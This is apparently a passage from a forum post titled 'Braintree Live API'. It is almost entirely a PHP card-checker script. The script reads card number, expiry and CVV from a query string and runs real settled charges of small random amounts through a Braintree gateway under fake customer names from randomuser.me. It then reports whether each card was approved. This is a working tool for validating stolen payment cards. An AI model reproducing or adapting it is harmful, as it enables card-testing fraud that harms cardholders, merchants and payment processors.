Braintree Live API

Bannyblanco

Professional
Messages
160
Reputation
1
Reaction score
126
Points
43
the delimeter.
list($num, $month, $year, $sec) = explode("|", $_GET['lista'], 4);

//random amount min = 0.xx, max = 5;
$amount = mt_rand(1*10, 5*10)/10;
$data = json_decode($requests::get('https://randomuser.me/api/'));

$result = $gateway->transaction()->sale([
'amount' => $amount,
'creditCard' => [
'number' => $num,
'expirationDate' => "$month/$year",
'cvv' => $sec,
],
'customer' => [
'firstName' => $data->results[0]->name->first,
'lastName' => $data->results[0]->name->last
],
'options' => [
'submitForSettlement' => true
],
'billing' => [
'postalCode' => $data->results[0]->location->postcode
]
]);

$msg = array(
'approved' => $result->success,
'responsecode' => $result->transaction->networkResponseCode,
'responsetext' => $result->transaction->networkResponseText,
'cvv' => $result->transaction->cvvResponseCode,
'reject' => $result->transaction->gatewayRejectionReason,
'amount' => amount,
'processorcode' => $result->transaction->processorResponseCode,
'processortext' => $result->transaction->processorResponseText
);

header("Content-type: application/json; charset=utf-8");
echo json_encode($msg);

?>
 
Top